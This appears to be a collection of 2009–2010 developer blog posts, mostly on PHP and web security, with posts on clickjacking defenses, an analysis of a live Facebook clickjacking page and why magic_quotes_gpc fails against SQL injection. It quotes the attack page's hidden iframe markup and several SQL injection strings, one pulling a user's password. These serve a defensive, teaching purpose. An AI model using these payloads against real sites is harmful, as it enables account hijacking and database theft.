The meeting is totally free and no registration is required^*, so if anyone wants to develop securely in PHP or deals with databases (who doesn't?), please bring your fellow developers and come. It's important - please come and let's beat the SQL injection once and for all!

I'll share the floor with Łukasz Pilorz who will talk about creating Secure PHP framework - and, given some internal details, I can assure you there's much to expect from this talk - don't miss it!

Date: 10.03.2010 (Wednesday), 17:00
Place: Compendium Centrum Edukacyjne, ul. Tatarska 5, Kraków, I piętro

Update: Read the full announcement from OWASP mailing list.

^* If you're planning to go, please drop a mail to Przemysław from the link above to prepare the room for the audience.

5 ways to prevent clickjacking on your website (and why they suck)

2009-12-23T13:36:00.003+01:00

Clickjacking attack is a very nasty attack. The most common form of it is when an attacker creates a webpage and tricks the visitor to click somewhere (on a link, button, image). Attacker in the code of his website includes a victim website (like Facebook, your webmail, amazon) that is cleverly hidden from the user and placed so that a user actually clicks on a victim website. Citing the example from OWASP page on clickjacking:

For example, imagine an attacker who builds a web site that has a button on it that says "click here for a free iPod". However, on top of that web page, the attacker has loaded an iframe with your mail account, and lined up exactly the "delete all messages" button directly on top of the "free iPod" button. The victim tries to click on the "free iPod" button but instead actually clicked on the invisible "delete all messages" button. In essence, the attacker has "hijacked" the user's click, hence the name "Clickjacking".

The problem with clickjacking attack is that it is extremely difficult to prevent. Unlike other popular vulnerabilities like CSRF, XSS, SQL injection, this one is based on a functionality that is widely used in the web nowadays - frames (I'm skipping the case of plugin-based-clickjacking for clarity here). Frames allow you to nest one webpage or widget in another page - this is now used for login pages, commenting, previewing content in CMSes, for JavaScript interactions and a million other things.

Browsers nowadays use same origin policy to protect your data if you're framing or being framed from another domain (this prevents JavaScripts from talking to each other and accesing documents across the domain boundary). But JavaScript is not required for a clickjacking attack - CSS is enough. In the simplest form (e.g. used in recent Facebook users attack), you're just using a small <iframe>, and position it absolutely. The rest is just social engineering.

Our users have a few options to protect themselves. So maybe 1% of them will be "protected". But what can we - web developers do to prevent the clickjacking on our sites? Sadly, not much, but here's the list:

X-Frame-Options

Include X-Frame-Options HTTP header in all your webpages. This will prevent your site from being placed within a frame. It's now supported by IE8, Safari 4, Google Chrome. Sadly, not Firefox.

Pro:
+ extremely simple

Con:
- needs access to webserver configuration and/or scripting language on the server
- works only on some browsers
- no domain black/whitelisting (you either allow all, your domain only or none)

Framebuster JavaScript

You may also detect by JavaScript that your site is being placed in a frame and reload it main browser window (escape the hack). This is called frame-busting and it looks e.g. like this:

try {
if (top.location.hostname != self.location.hostname) throw 1;
} catch (e) {
top.location.href = self.location.href;
}

Sadly, it can be hacked. Luckily the hack can be hacked too, but there are so many caveats that you need to decide yourself. For example - your users won't see your site at all with JS disabled.
Notice: I've made some progress with this anti-frame-buster and came up with better solution but this one requires a proper demo and another blog post, so stay tuned.

Pro:
+ you might code domain white/blacklisting yourself
+ you might alert() your users instead of escaping from frame

Con:
- requires JavaScript
- it's either hackable or requires significant workarounds on your website to make it work on all browsers

Move elements on your pages

The recent Facebook attack was possible because the Share link button was always placed in the same spot. When someone frames your site, he's "blind". Your browser knows where to render a button but it won't be possible for an attacker to check where this button is (nor will he be able to change CSS on your pages to modify how your site looks).
If you e.g. position your button randomly (different spot on every page) - it just won't be where the attacker tricks the user to click.

Con:
- it's hard for your legitimate users (although you might move it only when you detect you're framed)
- the attacker might really do crazy things to hit your button eventually (e.g. a fake point and shoot game)

Require additional action

Require your users to mark a checkbox, fill in some password, solve a CAPTCHA in addition to clicking the button. This will make it harder for the clickjacker, as he now has to convince users to take more actions.

Con:
- hard for your legitimate users (although you might do it only when framed)
- it's still possible to trick users if the attackers tries hard enough

One-time URLs

The clickjacking attack is in a way similar to CSRF (when the user is on webpage A, he unwillingly does an action on website B), so the same prevention rules apply. To prepare the attack, clickjacker has to know two things:

your target URL (that URL will be framed)
where is the 'click area'

You may make the attack much much harder if you include a one-time code (nonce) in URLs to crucial pages. This is similar to nonces used to prevent CSRF but this time we're including nonces in URLs to target pages, not in forms within those pages.

Example:

<?php // my-account.php
//...
$nonce = generate_nonce(); 
$_SESSION['nonce'] = $nonce; // store the generated nonce in session

// include it in URLs that you want to protect from clickjacking. 
// regenerate nonces on every page refresh.
//...
?>
<a href="http://example.com/delete-my-account-form.php?nonce=<?php echo htmlspecialchars($nonce)?>">Delete my account</a>

<?php // delete-my-account-form.php
// ... 

// check if user came giving your correct one-time nonce. 

if ($_SESSION['nonce'] !== $_GET['nonce']) {
    return redirect_to('my_account.php'); // if not, direct him to previous page
    // you may also give an error message, log this etc. 
}
// ...
?>

Pro:
+ protects you also from CSRF

Con:
- this can't be used on URLs that need to be shared, bookmarked etc.
- users using browser tabs will get their pages expired

Summary

Sadly, there is no perfect solution for clickjacking protection yet. Given methods are not perfect, mostly because they affect your regular users (this also makes clickjacking similar to CSRF) and make it a bit harder for them to use your pages. What I would recommend is to use two methods simultaneously:

X-Frame-Options (for the future)
Detect if you're in frame, but don't escape from it (this can be prevented by clickjacker) but change your page instead (e.g. delete everything, disable buttons, require additional password, redirect to warning message) using JavaScript.

This way the majority of your users is protected, but all of them (even those without JavaScript) can still use your website.

If you want to read more about clickjacking and you're not afraid of technical jargon, I recommend this article.

New Facebook clickjacking attack in the wild - fb.59.to

2009-12-21T18:03:00.004+01:00

There's a malicious website set up at http://fb.59.to that tries to trick users into a clickjacking attack that shares the link on victims' Facebook accounts.

Some Facebook users today saw a comment looking like this (new pix!):

Clicking on the comment that links to

http://www.facebook.com/l.php?u=http%253A%252F%252Ffb.59.to%252F%253F4ff11a526ae73e9f170bbe6702ebb93c&h=..somehash...&ref=nf

redirects users to http://fb.59.to web page.

On this page they are given a fake Turing test that tricks them into clicking a "blue button" which is their clickjacked Facebook page positioned at adding a new comment ("Share" button). The whole web page looks like this (clickjacked area is marked green):

In page source we can see that there is a IFRAME element:

<iframe frameborder=0 scrolling=no height=25 width=100
src="2.php?u=http://fb.59.to/?...somehash...."
></iframe><span style=background-color:yellow;><font 
style=font-size:13 ; color=white>

The target URL (2.php) has another IFRAME which in turn has yet another one with the target page being

<div style="left:-90px;top:-386px;position:absolute;"
<iframe height=400 width=250  src="http://www.facebook.com/sharer.php?u=http://fb.59.to/?hash" 
frameborder=0  scrolling=no> </iframe>
</div>

Clicking on the button shares the malicious link on Facebook.

The page has a meta-redirect set up to a Youtube movie launching in 12 seconds so a users might get the impression that the movie launched because they successfully passed the Turing test.

~~Multiple iframes are probably set up to trick clickjacking protections within browsers.~~ A quick look tells that currently Firefox and Chrome are vulnerable to the attack, ~~IE and Opera being safe~~, although that requires a bit more time to investigate.

Update: The attack does not work in IE and Opera only because of incorrect HTML used in one of the pages in this malicious site. Doing a simple fix in HTML makes both mentioned browsers also vulnerable to the attack.

Thanks go to Grzegorz Ciborowski and Pawel Czernikowski for detecting the attack.

Hardening PHP: magic_quotes_gpc - False sense of security

2009-10-21T02:33:00.007+02:00

Writing secure applications from the ground up requires a programmer to fully understand all the features he uses to protect his code from vulnerabilities. Today's languages provide many ways to ease coders with hardening their code. You can rely on built-in libraries to filter input variables, escape the output in HTML etc.

However, staying secure is not that simple - you need to know all the limits and caveats of your tools, because sometimes they promise you something but do not deliver - as it is in case of magic quotes functionality.

Magic quotes

PHP magic_quotes_gpc are sometimes recommended as a protection from SQL injection .When this ini setting is on, all GET/POST/COOKIE variables are automatically run through addslashes() function, basically escaping all quote characters with "\".

All is good

Let's look at an example, where that protection would work:

<?php
// some admin login functionality
$logged_in = mysql_query("SELECT 1 FROM users WHERE login='admin' AND password=sha1('" . $_POST['password'] . "')");
// process $logged_in

When magic_quotes_gpc are ON injecting the PASSWORD variable won't work. A simplest attack vector "' OR 1=1 -- " would transform to

SELECT 1 FROM users WHERE login='admin' AND password=sha1('\' OR 1=1 -- ')

That's a perfectly escaped SQL query, nothing can get injected. magic_quotes_gpc escape the dangerous single quote for us. So - goodbye SQL injection? WRONG!

Magic quotes only insert a backslash before a few characters, nothing more. That protects you from SQL injection only in some particular cases like above and only by coincidence. To prove that, let's analyze the following script.

So much for magic...

<?php
// display a single post based on id
$post_data = mysql_query("SELECT title, content FROM posts WHERE post_id={$_GET['id']}");
// display $post

The same "' OR 1=1 -- " transforms to invalid query:

SELECT title, content FROM posts WHERE post_id= \' OR 1 = 1 --

and if you have display_errors ON, you just made the attacker very happy with your database details outputted right before his eyes. Even if you don't, there still is a possiblity of blind sql injection.

But what if an attacker set id parameter to one of these:

1 AND (SELECT COUNT(*) from another table_name) BETWEEN 0 AND 100
-10000 union select user_password from users where user_login=CHAR(97,100,109,105,110) (admin)

You won't get any protection from these vectors - they slip right under the eyes of magic_quotes_gpc - they don't contain quotes.

In this case a single mysql query parameter that was left unprotected could lead to your whole database content dumped to the attacker (I'm not kidding - see sqlmap and try for yourself).

Know your context

The fundamental problem with magic_quotes_gpc is that they know nothing about the context. They don't know if you're using the data to insert it into MySQL, Oracle, or if you're writing to a file. Maybe you're sending it through SOAP or displaying it in HTML? Or maybe all of it. They just don't have enough information, only you know it. Escaping values depends on a context in which they are used. You should disable magic quotes now also for the following reasons:

they mangle your data before you get the chance to reach it and can lead to double escaping,
most frameworks expect them to be off, and if they're enabled, try to undo these changes at bootstrap,
they're deprecated in PHP 5.3 and will be removed in PHP 6.

But you need to escape your data nonetheless. Follow these simple rules:

to output to a HTML - use htmlspecialchars()
to escape a string in MySQL - use mysql_real_escape_string().
to escape a string in Postgresql - use pg_escape_string()
When you are expecting an integer in SQL query - simply cast to int
ALWAYS use prepared statements when querying databases.

If you want to read more on bypassing magic quotes and SQL injection in general, I recommend:

Have any comments on the subject to share? Please do so, this is my first security-related post and I'd like to hear your opinion.

HTTP File server released

2009-09-17T19:35:00.009+02:00

Problem

Imagine a situation where your application has to store and retrieve files on the web (i.e. not on a local filesystem). You have many options - you may upload them to FTP server, e-mail them, use some file hosting services like Dropbox, upload files using a HTML form, use WebDAV server. Finally you may mount some remote filesystem like NFS.

All of these options are valid, but they all carry certain amount of requirements that may not always be met:

To use FTP, you need to set up a remote FTP server, have an implemented FTP client in your language of choice and the ability to open FTP connections on the system you're using.
To use e-mail you need to be able to handle POP3 and SMTP protocols and have a mail server set up.
WebDAV, although convenient, is hard to set up in the first place. The protocol itself takes some time to implement.
Using any other web application like Dropbox requires you to have a client for their services and you need to accept the licence restrictions.
HTML form - an excelent choice. If you're doing the uploads manually, you may write a simple script in minutes - but what if you want to upload files automatically (e.g. in a batch script)? You need to make a HTTP request with form and the file within encoded, you have to deal with mime-types, encoding file contents etc. Not really fast to implement.
Mounting remote filesystem is impossible on a shared Linux server, or Windows server.

Solution

HTTP File server to the rescue. This small little fellow, written in PHP5 is a simple REST-oriented file server with minimal requirements:

PHP 5 (5.2 I suppose)
web server (Apache will do)
writable directory (this is where your files will be stored)

This is for the server part. For the client part you only need to be able to do HTTP GET and HTTP POST requests, so you're good with just wget in a batch script (or .NET application, or Ruby, PHP, Java - pretty much anything nowadays can form HTTP requests).

Example

Example usage:

# store file on server - use HTTP POST
wget --post-file=file_to_send.txt http://server/index.php/path/to/store/file.txt -O -

# retrieve file - use HTTP GET
wget http://server/index.php/path/to/store/file.txt

That's pretty much it. The server is so simple, it doesn't (yet?) offer even the ability to list directory contents. All it does is store files and retrieve them.

Download

Download HTTPFileServer and take a look for yourself. Your comments are welcome. The project is BSD licensed.

Weird date format from FreeTDS with mssql.datetimeconvert = 0

2009-09-29T18:27:00.001+02:00

Today I encountered a problem with date field format in MS SQL Server 2000. We are accessing the server through FreeTDS and for data abstraction we are using latest stable PEAR MDB2_Driver_mssql v 1.2.1.

We were migrating to newest daily FreeTDS. As soon as we recompiled FreeTDS, our PHP applications started acting weird, showing invalid dates. We narrowed down all problems to a change in date format we got from SQL server.

A simple query:

echo $mdb2->getOne("SELECT datefield FROM table");

now returned some weird data format:

2009-01-01 31695:06

However, when we used mssql_* functions, skipping MDB2 altogether the date format was OK. I noticed one bug report: mssql.datetimeconvert force set to 0 - generate wrong dates. It was correct - even though we used mssql.datetimeconvert = 1 in our php.ini, MDB2 driver sets it to 0 on connect().

But the same code used to work with older FreeTDS. It seems that FreeTDS changed its internal date format, some locale settings etc. And disabling datetimeconvert by MDB2 triggered the problem as we started getting this new weird format.

I didn't want to mess up with internal date handling by MDB2 and keep patches to apply on future MDB2 updates - luckily we found a simple solution: recompile PHP with the newest FreeTDS libraries and everything goes back to normal. The same script now outputs:

2009-09-29 18:11:00

Even though mssql.datetimeconvert = 0 thanks to MDB2, we are receiving standard Y-m-d H:i:s format we love so much. Hope that helps anyone with similar problem.

Using shared SVN working copy on samba

2009-09-24T14:30:00.004+02:00

Part of deployment procedure for PHP applications in company I work for is to update the code on a staging server through a samba share. The code is then replicated to production machines.

We use Subversion as our VCS of choice so we simply kept working copies on staging server and used TortoiseSVN to do an svn update. Later on we would e.g. migrate the database, update configuration files etc. This proved to be very simple and effective technique.

However,when our administration changed authentication procedures and gave every developer separate account (we used a single user name to log in to our samba share before, now we authorize through NT domain) - it suddenly stopped being so effective.

As soon as one developer updated the staging working copy, he started "owning it". Anyone else trying to update it later on got access denied errors. The reason? Subversion client created files in .svn that are read-only and these could not be deleted and recreated by anyone else (and Subversion client does this during svn update).

Luckily, there is an easy solution, found here and also mentioned in SVN FAQ. In our case, inserting:

[global]
delete readonly = yes

in smb.conf solved our problem. Any developer that is authenticated to use our staging share may now update the working copy.

Disclaimer: Although using working copy on samba share is not recommended by Subversion team, we use this technique for years now with different server and client versions and this was our first problem. However - we don't do development on this working copy, we only update it, so it's not a real full-blown multiuser working copy.

jQuery hijack plugin - nice addition to jQuery UI 1.7

2009-03-10T01:49:00.008+01:00

I have just published a jQuery plugin that I've used with great success on many of my last projects - jQuery hijack. What hijacking is and why is it of any importance?

The amazing world of widgets

When loading a widget on a page, say tab or dialog, we are often loading its content from another URL via AJAX. This is a common technique and nothing new - we may e.g. use jQuery.load() or jQuery.tabs() from Jquery UI to achieve this. Let's say we are loading a table containing a product list to a tab. In this table we have some columns so we can sort it by clicking on a column header and page the results by using the pager links we developed.

What happens when we click on any link used to e.g. sort or go to next page in our loaded content? It replaces the whole page. The same thing happens when we have e.g. a search form within our tab content and we submit it. Although completely understandable (and there are many ways to avoid it), it's not exactly the best behavior. What can help you - is hijacking. jQuery hijack plugin was designed exactly to come to your rescue.

Hijacking to the rescue

Hijacking or hijaxing is a term used by Chris Thatcher a long time ago in a jQuery UI thread, where he proposed a way of capturing all the links within a widget content and making them reload only that widget. And this is exactly the core functionality of jQuery hijack plugin.

By using the plugin, we can call a simple one function jQuery.hijack() and voila - from now on, all links and forms are hijacked - so paging links in the tab will simply display another page of results in this tab, search form will also display results inline - everything requires only one line of code (usually).

More info

The plugin works flawlessly with jQuery UI widgets, like tabs or dialogs, I also heavily used it with jqModal plugin. This 1KB plugin also allows you to:

skip hijacking some forms/links
use click() handlers for links to skip following them at all
skip submitting forms (validation)
always run a particular function after reloading content (e.g. to init some objects)

I've created a demonstration page for plugin features where you can see it in action with jQuery UI. You may download the plugin at its Google code page. The plugin is dual licensed under MIT/GPL licenses.

Javascript: The Good Parts presentation

2009-03-04T08:58:00.008+01:00

A few days ago Douglas Crockford gave a presentation at Google Tech Talks and it has just been published at Google Tech Talks Youtube channel.

Youtube link

Douglas Crockford is one of my personal gurus when it comes to Javascript. Currently at Yahoo, he's the author of JSON data-interchange format, Javascript verifier JSLint and many books on Javascript. He seems to know more about Javascript internal workings than any other person I am aware of.

In this presentation Douglas speaks about some good parts of Javascript:

lambda
dynamic objects
loose typing
object literals

and mentions its bad parts, like e.g.:

global variables
with statement
semicolon insertion by JS parser
null, undefined, false and NaN

The talk is full of examples of tricky JS code, he also describes his famous Module pattern for easy creation of objects with private and public properties and methods. You could also learn what semicolon insertion exactly is and why


return
{
 ok: false
};

does something you'd rather not expect. Douglas describes his personal experience with Javascript in his career and talks about works on next version of ECMAScript standard (ES3.1).

Watching the talk he gave is definately a well-spent time for a Javascript developer. If you've never heard of Douglas, check out his webpage for more information and be sure to check out JSLint - it's a tool that verifies pasted Javascript code and warns about poor programming practices used. Like Douglas said - it WILL hurt your feelings badly ;)

jQuery optionTree demo

2009-03-02T17:55:00.023+01:00

This is the demo for my jQuery optionTree plugin.

This jquery plugin converts passed JSON option tree into dynamically created SELECT elements allowing you to choose one nested option from the tree.

It should be attached to a (most likely hidden) INPUT element. It requires an option tree object. Object property names become labels of created select elements, each non-leaf node in the tree contains other nodes. Leaf nodes contain one value - it will be inserted into attached INPUT element when chosen.

Example 1


<input type="text" name="demo1" />

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    $('input[name=demo1]').optionTree(option_tree);

Example 2 - change event and configuration


<input type="hidden" name="demo2" />

    var option_tree = {
       "Option 1": {"Suboption":200},
       "Option 2": {"Suboption 2": {"Subsub 1":201, "Subsub 2":202},
             "Suboption 3": {"Subsub 3":203, "Subsub 4":204, "Subsub 5":205}
            }
    };

    var options = {empty_value: -1, choose: '...'};

    $('input[name=demo2]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

Example 3 - preselected options


<input type="hidden" name="demo3" />

    var option_tree = {
       "Red": {"Default":100},
       "Blue": {"Variant 1": {"Default":100, "Another":101},
        "Variant 2": {"Default":100, "Another":102, "and another":103}
       }
    };

    var options = {preselect: {'demo3': 100}}; // value for default option (include field name)

    $('input[name=demo3]').optionTree(option_tree, options)
                          .change(function() { alert('Field ' + this.name  + ' = ' + this.value )});

More info

Plugin is dual licensed undel MIT / GPL licenses.

Additional information about this plugin is available on its google code pages. You may download the plugin from there or from its jQuery plugin site. It has been tested with jQuery 1.2 and 1.3. Feel free to comment on the plugin and suggest additional features on google code project site.